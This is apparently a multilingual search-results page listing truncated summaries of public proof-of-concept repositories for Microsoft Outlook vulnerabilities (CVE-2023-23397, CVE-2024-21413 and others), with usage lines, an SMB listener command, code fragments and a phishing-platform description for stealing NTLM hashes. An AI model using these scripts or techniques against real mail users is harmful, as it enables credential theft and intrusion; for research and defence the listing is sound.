1386 matches found
CVE-2023-23397-POC
CVE-2023-23397-POC CVE-2023-23397 のエクスプロイト POC Appointment.cs : https://github.com/Sicos1977/MsgKit/blob/master/MsgKit/Appointment.cs からの修正ファイル Exploit.cs : 悪意のある予定を作成するために使用したコード。MDSEC 記事のコード画像を修正しました。リンク :...
CVE-2024-21413-Vulnerabilidad-Outlook-LAB
CVE-2024-21413 – Outlook 实验室漏洞 漏洞描述 CVE-2024-21413 是 Microsoft Outlook 中发现的一个严重漏洞，允许远程攻击者通过精心构造的电子邮件执行恶意链接。该漏洞利用 file:// 协议将受害者重定向到攻击者控制的 SMB 共享，可能导致 NTLM 凭据泄露或本地文件的未授权访问。 Windows 10 服务启动脚本 + 凭据 Windows 10 实验室中用户 victim 的密码是 victim，服务器 hMailServer 的密码是 victim 邮箱 [email protected] 的密码是...
CVE-2024-21413
CVE-2024-21413 - Expect 脚本 POC Microsoft Outlook 凭据泄露及远程代码执行漏洞，当与 CVE-2023-21716 配合使用时（通过预览面板） CVSS:3.1 9.8 / 8.5 Outlook 应该会警告你打开外部链接的风险 = 但实际情况并非如此！ 用法：./cve-2024-21413.sh mx.fqdn 端口 发件人 收件人 url ./cve-2024-21413.sh mail.mydomain.com 25 [email protected] [email protected]...
Tangled
Tangled Tangled は、攻撃的セキュリティの観点から設計されたフィッシングプラットフォームです。 ソーシャルエンジニアリングキャンペーンの配信における多くの側面を自動化し、Microsoft Outlook および Gmail Google Workspace の iCalendar レンダリング機能を武器化して、ユーザーの操作なしに自動的にカレンダーに追加される偽装された会議招待状を配信します。 技術的な解説を読む: カレンダー自動処理を悪用した初期アクセスと横移動 ドキュメント 完全なドキュメントは Gitbook にあります。 クイックスタート Tangled は...
CVE-2024-21378
🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求安全归还所有被恐怖组织哈马斯绑架的公民。在所有被扣押人员获释并安全返回家园之前，我们不会罢休。你可以帮助他们回家。https://stories.bringthemhomenow.net/ 🛡️ CVE-2024-21378 此仓库包含一个针对通过 Exchange Online 使用 Microsoft Outlook 的漏洞利用示例，利用该漏洞可通过 COM DLL 执行任意代码。该漏洞利用采用修改版的 Ruler，将恶意表单作为电子邮件发送，当用户在 Outlook 胖客户端中交互时触发执行。 漏洞利用概述...
CVE-2023-23397_EXPLOIT_0DAY
CVE-2023-23397EXPLOIT0DAY Exploit para la CVE-2023-23397 Créditos a domchell Comprobador EML/MSG para el exploit: root@kitploit: !/usr/bin/env python3 from extractmsg import AppointmentMeeting from ..helpers import Status from ..task import Task from ..report import Report from .base import...
CVE-2023-23397_EXPLOIT
CVE-2023-23397 MS Outlook 脆弱性の悪用 CVE-2023-23397 は Microsoft Outlook の脆弱性であり、攻撃者がユーザーの認証情報を流出させる可能性があります。この脆弱性は、攻撃者がメールや会議の招待状内の「ReminderSoundFile」プロパティに Universal Naming Convention UNC パスを指定できることに起因します。Outlook でリマインダーがトリガーされると、ユーザーのクライアントは指定されたパスのサウンド ファイルを読み込もうとします。Outlook がリモート SMB サーバーへの SMB...
cve-2023-23397
CVE-2023-23397 此脚本允许创建 TNEF 编码的 Outlook 电子邮件，其中包含 CVE-2023-23397 漏洞利用载荷，并通过纯 SMTP 发送——无需 COM 对象或 EWS。 我未能让 IPM.Schedule.Meeting.Request 消息类正常工作（它同时生成了会议和提醒，但出于某种原因不遵守 PidLidReminderOverride 属性），因此该脚本滥用了 IPM.TaskRequest 类。这会产生一个恶意的会议提醒弹出窗口，就像原始漏洞利用一样，但收件人无法查看消息正文或会议详情。而在 OWA 中，该电子邮件看起来就像一封没有约会的普通消...
CVE-2023-23397-POC-Powershell
CVE-2023-23397-POC-Powershell 脚本函数，用于通过 ReminderSoundFile 选项发送或保存日历 NTLM 泄露。 运行脚本以在 Powershell 中加载函数，然后可以使用下面的示例作为使用函数的起点。 需要在安装了 Outlook 的 Windows 机器上运行，因为它使用 Outlook COM 对象发送电子邮件。 注意，它将从 Outlook 关联的电子邮件账户发送。当前函数会将会议开始时间设置为脚本执行时，持续 2 小时。 发送： root@kitploit: Send-CalendarNTLMLeak -recipient...
CVE-2023-35636
CVE-2023-35636 Microsoft Outlook 信息泄露漏洞（泄露密码哈希） - Expect Script POC CVE-2023-35636 是 Microsoft Outlook 日历共享功能的漏洞，通过在邮件中添加两个标头，可引导 Outlook 共享内容并连接指定机器，从而有机会截获 NTLM v2 哈希。 启动带有 SMB 服务器的 responder 发送邮件并等待（邮件收件人的防火墙必须允许 SMB（445）流量通过） 用法: ./cve-2023-35636.sh mx.fqdn port emailsender emailrecipient...
CVE-2024-21413
CVE-2024-21413 利用 CVE-2024-21413 漏洞获取登录信息 首先，你好。借助 Microsoft Outlook 中存在的一个漏洞，您可以执行以下操作来获取 Windows 用户信息。 我通过 PHP 中的 class.phpmailer.php 库来执行发送邮件的任务。 您需要打开 php 文件并进行邮件服务器设置。 然后，将代码中的 IP 地址替换为我们 Linux 设备的 IP 地址。 为了监听发往我们 Linux 设备的请求， impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp 我们将运行该代码。...
CVE-2024-21413
CVE-2024-21413 - 微软Outlook中的关键远程代码执行漏洞 设置 1. 在与脚本相同的目录下创建一个 config.ini 文件，格式如下： root@kitploit: emailcredentials senderemail = [email protected] senderpassword = yourapppassword smtpserver = smtp.gmail.com smtpport = 587 2. 创建一个 template 文件夹，并将 Stripo.html 放入其中 使用方法 1. 运行脚本： root@kitploit:...
https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 该脚本提供了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中发现的一个严重安全漏洞，CVSS 评分为 9.8。该漏洞被称为 MonikerLink 漏洞，影响深远，包括潜在的本地 NTLM 信息泄露和远程代码执行的可能性。此外，它突显了一种可能绕过 Office 受保护视图的攻击向量，从而将威胁扩展到其他 Office 应用程序。 🚀 用法 请负责任地使用此工具，并确保您已获得目标系统所有者的授权。该脚本需要 SMTP...
CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 此脚本提供了CVE-2024-21413的概念验证（PoC），这是Microsoft Outlook中发现的一个严重安全漏洞，CVSS评分为9.8。该漏洞被称为MonikerLink漏洞，具有深远的影响，包括可能泄露本地NTLM信息以及远程代码执行的可能性。此外，它强调了一种可能绕过Office受保护视图的攻击向量，从而将其威胁范围扩展至其他Office应用程序。 🚀 用法...
CVE-2023-23397
A Simple PoC in PowerShell for CVE-2023-23397 CVE-2023-23397 is a vulnerability in MS Outlook that allows an attacker to potentially exfil user authentication details. The vulnerability relates to the the ability for an attacker to specify a UNC path in the "ReminderSoundFile" property within an...
CVE-2023-23397-PoW
CVE-2023-23397-PoW CVE-2023-23397 的工作量证明，针对易受攻击的 Microsoft Outlook 客户端应用程序。 仅用于教育和研究目的。 CVE-2023-23397 预览 此 CVE 旨在从 Microsoft Outlook 客户端版本 2016（除最新修补版本外）中检索已登录用户的 NetNTLM 哈希值。 复现与成功利用步骤 将任意声音文件下载到将作为 SMB 共享部署的 SMB 机器上。 启动 SMB 共享。 在 MS Outlook 中创建一个约会。在“开始”菜单中，选择“新建项目” -...
CVE-2024-21413
Explotación de CVE-2024-21413 Outlook Estado del proyecto: En pausa práctica incompleta; no se logró capturar hashes NTLM Objetivos Intentar explotar la vulnerabilidad CVE-2024-21413, que permite la fuga de hashes NTLM en Outlook al interactuar con enlaces maliciosos. El objetivo de la práctica n...
CVE-2023-23397
CVE-2023-23397 CVE-2023-23397 C PoC 1- 下载 msgkit 2- 编辑约会类并添加以下内容： 3- 在项目中创建一个新类，用于设置 msg 文件的属性： root@kitploit: using MsgKit.Enums; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace MsgKit class Program static void...